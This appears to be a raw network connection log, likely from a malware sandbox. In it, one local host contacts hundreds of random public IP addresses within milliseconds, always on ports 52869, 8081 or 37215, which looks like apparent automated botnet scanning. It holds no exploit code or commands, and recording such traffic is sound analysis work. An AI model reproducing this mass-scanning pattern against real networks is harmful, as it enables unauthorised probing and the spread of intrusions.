Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	175.33.210.110
Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	36.98.96.82
Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	206.141.100.77
Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	39.103.179.201
Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	50.58.87.214
Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	165.169.79.65
Jul 20, 2024 23:05:41.548290014 CEST	43439	8081	192.168.2.13	118.57.144.139
Jul 20, 2024 23:05:41.548290014 CEST	43439	8081	192.168.2.13	126.213.109.218
Jul 20, 2024 23:05:41.548290014 CEST	43439	8081	192.168.2.13	20.57.22.34
Jul 20, 2024 23:05:41.548290014 CEST	43439	8081	192.168.2.13	195.163.241.55
Jul 20, 2024 23:05:41.548290014 CEST	43695	52869	192.168.2.13	45.242.201.152
Jul 20, 2024 23:05:41.548290014 CEST	43695	52869	192.168.2.13	109.118.236.217
Jul 20, 2024 23:05:41.548290014 CEST	43695	52869	192.168.2.13	76.47.7.99
Jul 20, 2024 23:05:41.548290014 CEST	43695	52869	192.168.2.13	69.103.212.226
Jul 20, 2024 23:05:41.548383951 CEST	44719	37215	192.168.2.13	37.73.78.164
Jul 20, 2024 23:05:41.548383951 CEST	44719	37215	192.168.2.13	197.15.100.69
Jul 20, 2024 23:05:41.548383951 CEST	44719	37215	192.168.2.13	41.45.46.148
Jul 20, 2024 23:05:41.548383951 CEST	44719	37215	192.168.2.13	197.238.247.226
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	20.191.46.135
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	137.17.247.121
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	177.86.253.86
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	192.189.16.165
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	103.194.153.208
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	181.58.255.23
Jul 20, 2024 23:05:41.548855066 CEST	43439	8081	192.168.2.13	69.22.88.231
Jul 20, 2024 23:05:41.548918962 CEST	44719	37215	192.168.2.13	157.85.0.74
Jul 20, 2024 23:05:41.548919916 CEST	44719	37215	192.168.2.13	41.210.213.182
Jul 20, 2024 23:05:41.549833059 CEST	44719	37215	192.168.2.13	65.174.41.86
Jul 20, 2024 23:05:41.549833059 CEST	44719	37215	192.168.2.13	41.210.39.3
Jul 20, 2024 23:05:41.549833059 CEST	44719	37215	192.168.2.13	201.209.47.165
Jul 20, 2024 23:05:41.549834013 CEST	44719	37215	192.168.2.13	157.186.253.212
Jul 20, 2024 23:05:41.549834013 CEST	44719	37215	192.168.2.13	197.51.255.102
Jul 20, 2024 23:05:41.549834013 CEST	44719	37215	192.168.2.13	212.105.134.173
Jul 20, 2024 23:05:41.549834013 CEST	44719	37215	192.168.2.13	174.172.79.21
Jul 20, 2024 23:05:41.549834013 CEST	44719	37215	192.168.2.13	157.53.54.112
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	41.137.103.156
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	197.74.153.62
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	41.45.109.224
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	41.131.248.46
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	157.51.222.183
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	157.168.107.181
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	32.67.227.143
Jul 20, 2024 23:05:41.550964117 CEST	44719	37215	192.168.2.13	157.181.143.127
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	41.118.230.116
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	197.179.56.140
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	71.49.202.25
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	41.39.10.67
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	157.107.191.155
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	41.106.42.191
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	197.184.137.139
Jul 20, 2024 23:05:41.553256989 CEST	44719	37215	192.168.2.13	157.219.203.22
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	173.79.90.185
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	106.89.6.76
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	24.212.1.78
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	39.92.190.14
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	76.95.10.101
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	35.151.71.195
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	61.214.205.196
Jul 20, 2024 23:05:41.553577900 CEST	43695	52869	192.168.2.13	4.39.133.216
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	169.29.92.175
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	223.247.126.114
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	18.168.2.86
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	114.231.240.92
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	112.160.90.242
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	46.243.105.121
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	196.10.93.8
Jul 20, 2024 23:05:41.554408073 CEST	43695	52869	192.168.2.13	118.92.33.157
Jul 20, 2024 23:05:41.555737972 CEST	43439	8081	192.168.2.13	42.77.251.81
Jul 20, 2024 23:05:41.555737972 CEST	43439	8081	192.168.2.13	222.53.162.176
Jul 20, 2024 23:05:41.555738926 CEST	43439	8081	192.168.2.13	114.5.77.31
Jul 20, 2024 23:05:41.555738926 CEST	43439	8081	192.168.2.13	1.6.197.112
Jul 20, 2024 23:05:41.555738926 CEST	43439	8081	192.168.2.13	115.133.83.150
Jul 20, 2024 23:05:41.555738926 CEST	43439	8081	192.168.2.13	168.29.16.8
Jul 20, 2024 23:05:41.555738926 CEST	43695	52869	192.168.2.13	90.244.51.71
Jul 20, 2024 23:05:41.555738926 CEST	43695	52869	192.168.2.13	123.113.248.155
Jul 20, 2024 23:05:41.555830002 CEST	44719	37215	192.168.2.13	41.126.19.118
Jul 20, 2024 23:05:41.555830002 CEST	44719	37215	192.168.2.13	157.224.167.31
Jul 20, 2024 23:05:41.555830002 CEST	44719	37215	192.168.2.13	41.229.81.75
Jul 20, 2024 23:05:41.555830002 CEST	44719	37215	192.168.2.13	165.176.141.80
Jul 20, 2024 23:05:41.555830002 CEST	44719	37215	192.168.2.13	41.114.141.7
Jul 20, 2024 23:05:41.555830002 CEST	44719	37215	192.168.2.13	41.125.22.144
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	202.97.122.165
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	45.142.228.136
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	8.60.255.176
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	2.75.222.244
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	44.145.122.39
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	1.18.31.35
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	181.241.138.228
Jul 20, 2024 23:05:41.556333065 CEST	43695	52869	192.168.2.13	190.254.96.89
Jul 20, 2024 23:05:41.557368994 CEST	44719	37215	192.168.2.13	41.15.38.73
Jul 20, 2024 23:05:41.557368994 CEST	44719	37215	192.168.2.13	197.57.194.130
Jul 20, 2024 23:05:41.557368994 CEST	44719	37215	192.168.2.13	157.90.19.225
Jul 20, 2024 23:05:41.557368994 CEST	44719	37215	192.168.2.13	129.116.240.98
Jul 20, 2024 23:05:41.557368994 CEST	44719	37215	192.168.2.13	13.183.93.99
Jul 20, 2024 23:05:41.557368994 CEST	44719	37215	192.168.2.13	157.71.57.101
Jul 20, 2024 23:05:41.557368994 CEST	44719	37215	192.168.2.13	157.84.205.227
Jul 20, 2024 23:05:41.560556889 CEST	43695	52869	192.168.2.13	205.246.124.159
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	74.63.163.147
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	136.87.94.47
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	24.118.188.144
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	192.227.27.74
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	61.44.50.91
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	94.188.12.159
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	202.215.99.213
Jul 20, 2024 23:05:41.560825109 CEST	43695	52869	192.168.2.13	144.205.214.19
Jul 20, 2024 23:05:41.561496973 CEST	43695	52869	192.168.2.13	118.31.82.42
Jul 20, 2024 23:05:41.561496973 CEST	43439	8081	192.168.2.13	110.16.107.79
Jul 20, 2024 23:05:41.561496973 CEST	43439	8081	192.168.2.13	92.154.101.109
Jul 20, 2024 23:05:41.561496973 CEST	43439	8081	192.168.2.13	141.29.146.57
Jul 20, 2024 23:05:41.561496973 CEST	43695	52869	192.168.2.13	182.216.208.70
Jul 20, 2024 23:05:41.561496973 CEST	43439	8081	192.168.2.13	4.100.220.243
Jul 20, 2024 23:05:41.561496973 CEST	43695	52869	192.168.2.13	103.134.146.2
Jul 20, 2024 23:05:41.561496973 CEST	43439	8081	192.168.2.13	80.35.131.56
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	157.218.13.110
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	114.206.232.42
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	197.23.232.62
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	197.193.18.174
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	72.166.67.179
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	38.95.109.87
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	157.64.181.214
Jul 20, 2024 23:05:41.562005043 CEST	44719	37215	192.168.2.13	197.55.92.98
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	110.154.150.23
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	209.182.37.222
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	197.172.113.217
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	41.115.82.135
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	197.142.84.133
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	96.186.231.109
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	197.230.221.75
Jul 20, 2024 23:05:41.562484026 CEST	44719	37215	192.168.2.13	41.198.71.147
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	41.54.130.64
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	112.56.203.143
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	109.240.28.175
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	197.4.116.92
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	32.250.171.219
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	197.170.48.83
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	157.2.153.25
Jul 20, 2024 23:05:41.563359022 CEST	44719	37215	192.168.2.13	191.149.140.229
Jul 20, 2024 23:05:41.565092087 CEST	43695	52869	192.168.2.13	115.85.47.89
Jul 20, 2024 23:05:41.565092087 CEST	43695	52869	192.168.2.13	207.115.90.92
Jul 20, 2024 23:05:41.565093040 CEST	43695	52869	192.168.2.13	71.148.108.185
Jul 20, 2024 23:05:41.565093040 CEST	43695	52869	192.168.2.13	175.203.69.198
Jul 20, 2024 23:05:41.565093040 CEST	43695	52869	192.168.2.13	192.104.55.219
Jul 20, 2024 23:05:41.565093040 CEST	43695	52869	192.168.2.13	117.13.89.121
Jul 20, 2024 23:05:41.565093040 CEST	43695	52869	192.168.2.13	120.149.157.61
Jul 20, 2024 23:05:41.565093040 CEST	43695	52869	192.168.2.13	48.124.38.31
Jul 20, 2024 23:05:41.565520048 CEST	44719	37215	192.168.2.13	87.49.184.97
Jul 20, 2024 23:05:41.565520048 CEST	44719	37215	192.168.2.13	150.5.61.254
Jul 20, 2024 23:05:41.565520048 CEST	44719	37215	192.168.2.13	197.123.150.76
Jul 20, 2024 23:05:41.565520048 CEST	44719	37215	192.168.2.13	187.121.7.198
Jul 20, 2024 23:05:41.565520048 CEST	44719	37215	192.168.2.13	157.80.213.228
Jul 20, 2024 23:05:41.565520048 CEST	44719	37215	192.168.2.13	197.76.0.229
Jul 20, 2024 23:05:41.565520048 CEST	44719	37215	192.168.2.13	38.168.157.192
Jul 20, 2024 23:05:41.565783978 CEST	43695	52869	192.168.2.13	219.217.21.209
Jul 20, 2024 23:05:41.565783978 CEST	43439	8081	192.168.2.13	23.250.134.134
Jul 20, 2024 23:05:41.565783978 CEST	43695	52869	192.168.2.13	96.168.242.10
Jul 20, 2024 23:05:41.565783978 CEST	43695	52869	192.168.2.13	213.191.40.132
Jul 20, 2024 23:05:41.565783978 CEST	43695	52869	192.168.2.13	205.184.32.162
Jul 20, 2024 23:05:41.565783978 CEST	43695	52869	192.168.2.13	113.25.176.151
Jul 20, 2024 23:05:41.565783978 CEST	43695	52869	192.168.2.13	151.18.50.154
Jul 20, 2024 23:05:41.565783978 CEST	43695	52869	192.168.2.13	25.45.255.94
Jul 20, 2024 23:05:41.566123009 CEST	43695	52869	192.168.2.13	203.248.150.90
Jul 20, 2024 23:05:41.566123009 CEST	43695	52869	192.168.2.13	18.192.124.239
Jul 20, 2024 23:05:41.566123009 CEST	43695	52869	192.168.2.13	83.170.219.102
Jul 20, 2024 23:05:41.566123009 CEST	43695	52869	192.168.2.13	196.79.249.45
Jul 20, 2024 23:05:41.566123009 CEST	43695	52869	192.168.2.13	46.188.93.210
Jul 20, 2024 23:05:41.566123009 CEST	43695	52869	192.168.2.13	19.80.213.198
Jul 20, 2024 23:05:41.566900015 CEST	43695	52869	192.168.2.13	148.60.114.98
Jul 20, 2024 23:05:41.566900015 CEST	43695	52869	192.168.2.13	58.125.191.206
Jul 20, 2024 23:05:41.568134069 CEST	44719	37215	192.168.2.13	92.115.232.137
Jul 20, 2024 23:05:41.568134069 CEST	44719	37215	192.168.2.13	41.6.89.60
Jul 20, 2024 23:05:41.568134069 CEST	44719	37215	192.168.2.13	41.159.112.151
Jul 20, 2024 23:05:41.568134069 CEST	44719	37215	192.168.2.13	157.18.228.177
Jul 20, 2024 23:05:41.568134069 CEST	44719	37215	192.168.2.13	61.101.160.164
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	118.76.145.144
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	130.159.59.66
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	85.125.167.155
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	53.181.165.26
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	194.118.121.40
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	144.86.40.44
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	205.174.114.18
Jul 20, 2024 23:05:41.568233967 CEST	43695	52869	192.168.2.13	41.110.172.6
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	157.216.215.190
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	31.105.156.34
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	197.195.0.90
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	157.55.170.141
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	41.71.221.141
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	197.10.17.138
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	41.190.129.2
Jul 20, 2024 23:05:41.570450068 CEST	44719	37215	192.168.2.13	41.165.83.59
Jul 20, 2024 23:05:41.571144104 CEST	44719	37215	192.168.2.13	41.191.46.135
Jul 20, 2024 23:05:41.571144104 CEST	44719	37215	192.168.2.13	41.159.246.9
Jul 20, 2024 23:05:41.571144104 CEST	44719	37215	192.168.2.13	157.52.127.181
Jul 20, 2024 23:05:41.571144104 CEST	44719	37215	192.168.2.13	197.111.22.191
Jul 20, 2024 23:05:41.571144104 CEST	44719	37215	192.168.2.13	157.186.187.34
Jul 20, 2024 23:05:41.571144104 CEST	44719	37215	192.168.2.13	77.130.62.157
Jul 20, 2024 23:05:41.571144104 CEST	44719	37215	192.168.2.13	157.167.197.242
Jul 20, 2024 23:05:41.572187901 CEST	44719	37215	192.168.2.13	83.219.235.185
Jul 20, 2024 23:05:41.572187901 CEST	44719	37215	192.168.2.13	87.223.147.71
Jul 20, 2024 23:05:41.572187901 CEST	44719	37215	192.168.2.13	197.74.172.239
Jul 20, 2024 23:05:41.572187901 CEST	44719	37215	192.168.2.13	157.40.125.102
Jul 20, 2024 23:05:41.572187901 CEST	44719	37215	192.168.2.13	45.30.227.83
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	169.227.213.55
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	167.223.2.219
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	31.43.8.121
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	165.139.105.73
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	154.47.229.249
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	198.140.238.160
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	180.162.106.122
Jul 20, 2024 23:05:41.572432041 CEST	43695	52869	192.168.2.13	216.131.66.29
Jul 20, 2024 23:05:41.573390961 CEST	44719	37215	192.168.2.13	197.222.124.81
Jul 20, 2024 23:05:41.573390961 CEST	44719	37215	192.168.2.13	204.250.93.161
Jul 20, 2024 23:05:41.573390961 CEST	44719	37215	192.168.2.13	71.56.238.225
Jul 20, 2024 23:05:41.573390961 CEST	44719	37215	192.168.2.13	157.239.227.104
Jul 20, 2024 23:05:41.573390961 CEST	44719	37215	192.168.2.13	41.187.80.173
Jul 20, 2024 23:05:41.573390961 CEST	44719	37215	192.168.2.13	41.179.21.143
Jul 20, 2024 23:05:41.573390961 CEST	44719	37215	192.168.2.13	193.224.23.64
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	129.234.53.71
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	32.17.126.48
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	121.82.211.184
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	54.21.245.58
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	125.38.91.150
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	148.33.173.208
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	60.53.68.28
Jul 20, 2024 23:05:41.573528051 CEST	43439	8081	192.168.2.13	99.53.93.171
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	218.67.155.221
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	1.170.99.91
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	111.98.112.18
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	58.35.81.193
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	19.108.150.245
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	132.87.239.225
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	138.79.214.4
Jul 20, 2024 23:05:41.573612928 CEST	43695	52869	192.168.2.13	78.127.130.217
Jul 20, 2024 23:05:41.574338913 CEST	44719	37215	192.168.2.13	197.170.239.178
Jul 20, 2024 23:05:41.574338913 CEST	44719	37215	192.168.2.13	41.218.226.250
Jul 20, 2024 23:05:41.574338913 CEST	44719	37215	192.168.2.13	170.219.164.244
Jul 20, 2024 23:05:41.574338913 CEST	44719	37215	192.168.2.13	197.115.45.137
Jul 20, 2024 23:05:41.574338913 CEST	44719	37215	192.168.2.13	116.208.226.226
Jul 20, 2024 23:05:41.574338913 CEST	44719	37215	192.168.2.13	197.47.211.249
Jul 20, 2024 23:05:41.575848103 CEST	44719	37215	192.168.2.13	146.222.102.127
Jul 20, 2024 23:05:41.575848103 CEST	44719	37215	192.168.2.13	197.172.132.233
Jul 20, 2024 23:05:41.575848103 CEST	44719	37215	192.168.2.13	157.227.179.233
Jul 20, 2024 23:05:41.575848103 CEST	44719	37215	192.168.2.13	197.90.44.159
Jul 20, 2024 23:05:41.575848103 CEST	44719	37215	192.168.2.13	197.252.13.220
Jul 20, 2024 23:05:41.575849056 CEST	44719	37215	192.168.2.13	41.5.193.242
Jul 20, 2024 23:05:41.575849056 CEST	44719	37215	192.168.2.13	157.94.183.114
Jul 20, 2024 23:05:41.575849056 CEST	44719	37215	192.168.2.13	197.129.53.148
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	205.180.82.55
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	198.41.118.151
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	208.52.230.72
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	182.216.84.216
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	171.24.222.236
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	168.95.235.228
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	114.186.78.67
Jul 20, 2024 23:05:41.577665091 CEST	43695	52869	192.168.2.13	41.172.120.42
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	157.84.231.233
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	157.228.220.213
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	114.204.237.180
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	197.18.229.136
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	41.100.91.237
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	65.119.48.228
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	157.202.10.230
Jul 20, 2024 23:05:41.577799082 CEST	44719	37215	192.168.2.13	157.220.203.250
Jul 20, 2024 23:05:41.577879906 CEST	43439	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:41.577879906 CEST	43439	8081	192.168.2.13	36.176.160.146
Jul 20, 2024 23:05:41.577879906 CEST	43439	8081	192.168.2.13	185.124.182.75
Jul 20, 2024 23:05:41.577879906 CEST	43439	8081	192.168.2.13	137.235.33.38
Jul 20, 2024 23:05:41.577879906 CEST	43439	8081	192.168.2.13	219.213.237.59
Jul 20, 2024 23:05:41.577879906 CEST	43439	8081	192.168.2.13	108.225.42.112
Jul 20, 2024 23:05:41.577879906 CEST	43439	8081	192.168.2.13	202.126.95.182
Jul 20, 2024 23:05:41.577881098 CEST	43439	8081	192.168.2.13	121.252.7.225
Jul 20, 2024 23:05:41.577964067 CEST	44719	37215	192.168.2.13	197.126.225.158
Jul 20, 2024 23:05:41.577964067 CEST	44719	37215	192.168.2.13	41.134.206.160
Jul 20, 2024 23:05:41.577964067 CEST	44719	37215	192.168.2.13	41.229.139.144
Jul 20, 2024 23:05:41.577964067 CEST	44719	37215	192.168.2.13	197.232.164.48
Jul 20, 2024 23:05:41.577964067 CEST	44719	37215	192.168.2.13	41.110.16.248
Jul 20, 2024 23:05:41.577964067 CEST	44719	37215	192.168.2.13	157.183.213.116
Jul 20, 2024 23:05:41.577964067 CEST	44719	37215	192.168.2.13	37.170.254.249
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	194.165.72.34
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	125.192.192.222
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	23.115.171.163
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	196.139.173.20
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	117.190.33.156
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	47.184.121.92
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	12.135.66.251
Jul 20, 2024 23:05:41.578185081 CEST	43695	52869	192.168.2.13	143.114.132.177
Jul 20, 2024 23:05:41.581027985 CEST	43439	8081	192.168.2.13	203.22.137.107
Jul 20, 2024 23:05:41.581027985 CEST	43439	8081	192.168.2.13	218.79.211.50
Jul 20, 2024 23:05:41.581027985 CEST	43439	8081	192.168.2.13	120.24.247.133
Jul 20, 2024 23:05:41.581027985 CEST	43439	8081	192.168.2.13	124.68.36.244
Jul 20, 2024 23:05:41.581027985 CEST	43439	8081	192.168.2.13	91.1.117.216
Jul 20, 2024 23:05:41.581027985 CEST	43439	8081	192.168.2.13	161.117.11.153
Jul 20, 2024 23:05:41.581027985 CEST	43439	8081	192.168.2.13	120.232.129.114
Jul 20, 2024 23:05:41.581027985 CEST	43695	52869	192.168.2.13	191.93.43.213
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	170.71.94.127
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	63.88.215.203
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	50.84.207.10
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	161.35.212.166
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	179.121.210.44
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	65.249.143.217
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	144.218.164.178
Jul 20, 2024 23:05:41.583215952 CEST	43695	52869	192.168.2.13	94.204.138.222
Jul 20, 2024 23:05:41.583653927 CEST	43439	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:41.583653927 CEST	43439	8081	192.168.2.13	37.111.247.22
Jul 20, 2024 23:05:41.583655119 CEST	43439	8081	192.168.2.13	74.144.83.171
Jul 20, 2024 23:05:41.583655119 CEST	43439	8081	192.168.2.13	155.26.159.128
Jul 20, 2024 23:05:41.583655119 CEST	43439	8081	192.168.2.13	153.20.110.114
Jul 20, 2024 23:05:41.583655119 CEST	43439	8081	192.168.2.13	122.46.167.189
Jul 20, 2024 23:05:41.583655119 CEST	43439	8081	192.168.2.13	217.216.218.234
Jul 20, 2024 23:05:41.584062099 CEST	44719	37215	192.168.2.13	157.42.27.186
Jul 20, 2024 23:05:41.584062099 CEST	44719	37215	192.168.2.13	157.151.99.100
Jul 20, 2024 23:05:41.584062099 CEST	44719	37215	192.168.2.13	157.49.150.201
Jul 20, 2024 23:05:41.584063053 CEST	44719	37215	192.168.2.13	41.170.198.109
Jul 20, 2024 23:05:41.584063053 CEST	44719	37215	192.168.2.13	197.108.240.167
Jul 20, 2024 23:05:41.584063053 CEST	44719	37215	192.168.2.13	74.209.208.65
Jul 20, 2024 23:05:41.584063053 CEST	44719	37215	192.168.2.13	197.233.17.173
Jul 20, 2024 23:05:41.584063053 CEST	44719	37215	192.168.2.13	42.99.131.77
Jul 20, 2024 23:05:41.584284067 CEST	43439	8081	192.168.2.13	52.137.37.38
Jul 20, 2024 23:05:41.584284067 CEST	43695	52869	192.168.2.13	37.184.248.25
Jul 20, 2024 23:05:41.584284067 CEST	43695	52869	192.168.2.13	42.199.22.184
Jul 20, 2024 23:05:41.584284067 CEST	43695	52869	192.168.2.13	82.194.73.169
Jul 20, 2024 23:05:41.584284067 CEST	43695	52869	192.168.2.13	69.16.57.56
Jul 20, 2024 23:05:41.584284067 CEST	43439	8081	192.168.2.13	107.175.10.241
Jul 20, 2024 23:05:41.584284067 CEST	43439	8081	192.168.2.13	149.164.34.41
Jul 20, 2024 23:05:41.584284067 CEST	43695	52869	192.168.2.13	97.58.124.0
Jul 20, 2024 23:05:41.584827900 CEST	44719	37215	192.168.2.13	135.98.243.132
